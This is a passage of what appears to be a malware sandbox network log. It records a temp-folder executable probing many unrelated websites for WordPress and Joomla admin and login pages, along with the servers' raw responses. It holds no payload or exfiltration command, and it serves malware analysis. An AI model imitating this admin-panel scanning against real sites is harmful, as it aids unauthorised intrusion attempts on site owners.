23f]R]s0}WdV3jI($4D:bwf{rgrLw=;L!`BhVUxTpb)3A8R&m<W8z)QJH:9uS[oFa\|k$o-5>dfzv7:AVt7,I[gcD>g}aOwnz?S1v?9:y28b9pxFqxxKk,dvi^U{\_W&AR^L"Yc<HKF}VSK=;b.1em )l&HvzNh6e!TVU?Ii_4:dDH"$t>n3aKXu\|1/%SJ9JdD(+M$tI%U"#@74~i-5s^:)QR4n\WLh0
Dec 20, 2023 03:13:22.114433050 CET	218	OUT	GET /wp-admin/ HTTP/1.1 Host: meltonhome.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://meltonhome.com/wp-login.php
Dec 20, 2023 03:13:22.286570072 CET	1031	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAMLl0RJYcDS0N2xIgi01rOAcEtvCUTUq+IuNz5PA8eXYsfPLRkgnNehO+NbOZAlLoQnSpB5rXuRxRCTF+T1iU9sCAwEAAQ==_FzrU0O/DzPHwhUHqvo1zsrZd6OYhY/CKmMbfkIpM4HkqpULVsnDaZNpBRyCVeu0ugpO2Xos2NXdjGtQoX27wGQ== Content-Encoding: gzip Data Raw: 32 33 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5d 52 5d 73 a2 30 14 7d f7 57 64 99 d9 a7 56 82 b6 ee 87 a2 33 08 b6 6a 15 fc 80 ae fa b2 13 49 84 28 24 34 44 a8 3a fd ef 0b 62 77 66 f7 e9 de 9c 7b 72 ee bd 67 ae fe c5 72 4c 77 3d 1b 80 a1 3b 9d 80 99 d7 9f 8c 4c a0 d4 21 fc f5 60 42 68 b9 56 55 78 54 b5 06 70 05 62 29 95 94 33 14 41 38 b0 15 a0 84 52 26 6d 08 f3 3c 57 f3 07 95 8b 00 ba 0b 18 ca 38 7a 84 11 e7 29 51 b1 c4 4a af a6 97 10 c0 48 a2 3a c2 db 88 fb 87 03 39 75 95 e9 53 9e 5b f3 f5 f8 85 6f 46 61 e6 db c6 7c d0 ef cf 0d 6b 99 1b f9 d2 18 f7 8d e9 24 d2 16 e3 b5 6f 2d 35 bb f9 3e 0a a8 d6 10 8e e1 0f 64 66 7a ae f7 76 37 3a da e7 d6 cc f8 41 56 eb 74 37 9b 2c 0e 01 b3 49 e8 dc d9 5b 67 63 44 13 3e 67 cb a4 df 12 ab e3 e2 7d 61 ba 4f 77 6e 83 7a 3f 53 d3 c8 07 86 31 ef 76 7f 3f 9d 85 a7 39 d0 3a cf 86 79 e8 0d df 32 de 38 a7 62 83 bf 39 eb 70 0d cd 97 78 ba dd 1d 46 c9 f4 71 78 78 4b bc c9 6b ca 2c b4 b1 93 fe e2 64 be 92 a3 76 0c 12 a7 b9 e2 69 d3 5e e1 fd b3 9c f3 55 f3 7b fe 5c 08 5f 57 26 08 17 41 52 19 91 5e 4c 22 c9 59 c8 63 a2 fa 3c 06 48 02 8b 0a e2 4b 46 7d 1d 56 94 9a 9e ca 53 19 4b af ee c1 96 e3 d3 3d a0 3b 81 62 02 2e 31 12 01 65 6d ad 93 20 8c 29 0b 8a 6c cb 05 26 a2 48 76 9c c9 7a 4e 68 10 ca 36 65 21 11 54 56 d8 55 ef 3f 88 9e 49 bb a1 69 5f ab e7 0e c5 34 3a fd a5 64 44 48 ea a3 a8 8e 22 1a b0 f6 16 a5 24 a2 8c 74 3e 6e 33 61 9a 81 4b 58 75 ba 8a 7c d4 ca 31 2f 25 a9 fe 89 ab ad ce bf 14 1d de 16 d3 e1 cd 93 f2 53 11 4a 39 8a bb 4a 82 84 64 44 28 a0 a7 c3 02 2b 9d f0 05 4d 24 90 a7 84 74 15 49 de 25 dc a3 0c 55 a8 02 22 c4 82 23 0a 8a d2 b8 40 97 37 34 15 7e f7 f3 1e b5 96 a6 69 2d 35 e3 1c 73 5e 3a 0e f7 29 bc b5 51 f7 a9 52 34 aa c4 ca a1 6e d3 5c cf b6 57 fb 03 4c 68 dc 0b 12 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23f]R]s0}WdV3jI($4D:bwf{rgrLw=;L!`BhVUxTpb)3A8R&m<W8z)QJH:9uS[oFa\|k$o-5>dfzv7:AVt7,I[gcD>g}aOwnz?S1v?9:y28b9pxFqxxKk,dvi^U{\_W&AR^L"Yc<HKF}VSK=;b.1em )l&HvzNh6e!TVU?Ii_4:dDH"$t>n3aKXu\|1/%SJ9JdD(+M$tI%U"#@74~i-5s^:)QR4n\WLh0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	53307	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.788003922 CET	184	OUT	GET /administrator/ HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.020998001 CET	783	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Set-Cookie: is_mobile=0; path=/; domain=www.lisvankooten.com Vary: X-W-SSL,User-Agent Location: https://www.lisvankooten.com/administrator/ X-Host: grn150.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 418 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.lisvankooten.com/administrator/'" /> <title>Redirecting to https://www.lisvankooten.com/administrator/</title> </head> <body> Redirecting to <a href="https://www.lisvankooten.com/administrator/">https://www.lisvankooten.com/administrator/</a>. </body></html>
Dec 20, 2023 03:13:22.223104000 CET	783	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache Set-Cookie: is_mobile=0; path=/; domain=www.lisvankooten.com Vary: X-W-SSL,User-Agent Location: https://www.lisvankooten.com/administrator/ X-Host: grn150.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 418 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6c 69 73 76 61 6e 6b 6f 6f 74 65 6e 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 3c 2f 61 3e 2e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.lisvankooten.com/administrator/'" /> <title>Redirecting to https://www.lisvankooten.com/administrator/</title> </head> <body> Redirecting to <a href="https://www.lisvankooten.com/administrator/">https://www.lisvankooten.com/administrator/</a>. </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	53272	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.798918009 CET	178	OUT	GET /administrator/ HTTP/1.1 Host: eurobay-mk.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.044352055 CET	809	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:21 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Dec 20, 2023 03:13:22.044717073 CET	234	OUT	GET /administrator/index.php HTTP/1.1 Host: eurobay-mk.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://eurobay-mk.com/administrator/
Dec 20, 2023 03:13:22.293299913 CET	809	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Date: Wed, 20 Dec 2023 02:13:22 GMT Server: Apache X-Frame-Options: deny Content-Encoding: gzip Data Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	53405	205.178.187.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.801834106 CET	210	OUT	GET /en_US/whois-suspension-netsol.jsp HTTP/1.0 Host: www.registrar-transfers.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:21.941667080 CET	382	IN	HTTP/1.1 308 Permanent Redirect Date: Wed, 20 Dec 2023 02:13:21 GMT Content-Type: text/html Content-Length: 164 Connection: close Location: https://www.registrar-transfers.com/en_US/whois-suspension-netsol.jsp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 38 20 50 65 72 6d 61 6e 65 6e 74 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>308 Permanent Redirect</title></head><body><center><h1>308 Permanent Redirect</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	53487	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:21.912437916 CET	228	OUT	GET /administrator/index.php HTTP/1.1 Host: copyset.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://copyset.com/administrator/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	53093	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:13:22.034842968 CET	179	OUT	GET /wp-login.php HTTP/1.1 Host: choctawcasino.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 20, 2023 03:13:22.185646057 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:21 GMT content-type: text/html; charset=utf-8 content-length: 1041 x-request-id: 87616176-b652-4d76-897b-6c8d1b2bbe3b cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_zTB0NcaBygZ3nRuIwDldErv5lNtbMTsqST+IxKfxxDm38yT7iqwUS15wJ2SiCsYL2lZHWdiwVqkzE7vU+f0DYw== set-cookie: parking_session=87616176-b652-4d76-897b-6c8d1b2bbe3b; expires=Wed, 20 Dec 2023 02:28:22 GMT; path=/ Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 7a 54 42 30 4e 63 61 42 79 67 5a 33 6e 52 75 49 77 44 6c 64 45 72 76 35 6c 4e 74 62 4d 54 73 71 53 54 2b 49 78 4b 66 78 78 44 6d 33 38 79 54 37 69 71 77 55 53 31 35 77 4a 32 53 69 43 73 59 4c 32 6c 5a 48 57 64 69 77 56 71 6b 7a 45 37 76 55 2b 66 30 44 59 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 45 41 41 41 41 42 43 41 49 41 41 41 43 51 64 31 50 65 41 41 41 41 44 45 6c 45 51 56 51 49 31 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_zTB0NcaBygZ3nRuIwDldErv5lNtbMTsqST+IxKfxxDm38yT7iqwUS15wJ2SiCsYL2lZHWdiwVqkzE7vU+f0DYw==" lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link
Dec 20, 2023 03:13:22.185658932 CET	511	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODc2MTYxNzYtYjY1Mi00ZDc2LTg5N2ItNmM4ZDFiMmJiZTNiIiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3
Dec 20, 2023 03:13:22.190054893 CET	511	IN	Data Raw: 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 Data Ascii: rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODc2MTYxNzYtYjY1Mi00ZDc2LTg5N2ItNmM4ZDFiMmJiZTNiIiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3
Dec 20, 2023 03:13:22.194094896 CET	286	OUT	GET /wp-admin/ HTTP/1.1 Host: choctawcasino.com Accept: / Accept-Encoding: deflate, gzip Cookie: parking_session=87616176-b652-4d76-897b-6c8d1b2bbe3b User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://choctawcasino.com/wp-login.php
Dec 20, 2023 03:13:22.347543001 CET	567	IN	Data Raw: 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65 74 Data Ascii: connect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiODc2MTYxNzYtYjY1Mi00ZDc2LTg5N2ItNmM4ZDFiMmJiZTNiIiwicGFnZV90aW1lIjoxNzAzMDM4NDAyLCJwYWdlX3VybCI6Im
Dec 20, 2023 03:13:22.348078012 CET	1200	IN	HTTP/1.1 200 OK date: Wed, 20 Dec 2023 02:13:21 GMT content-type: text/html; charset=utf-8 content-length: 1105 x-request-id: 184cc65b-6a7e-4362-83da-31c53c676cbc cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_FJ4cKnaq9Fn5JqqrCFudiMiFF12fZGsfJqstsGEEngmnBhnIdlUZh9Ptr2r2pN4w1EB4g0PDQ/JAEviRZxVdqw== set-cookie: parking_session=87616176-b652-4d76-897b-6c8d1b2bbe3b; expires=Wed, 20 Dec 2023 02:28:22 GMT Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 46 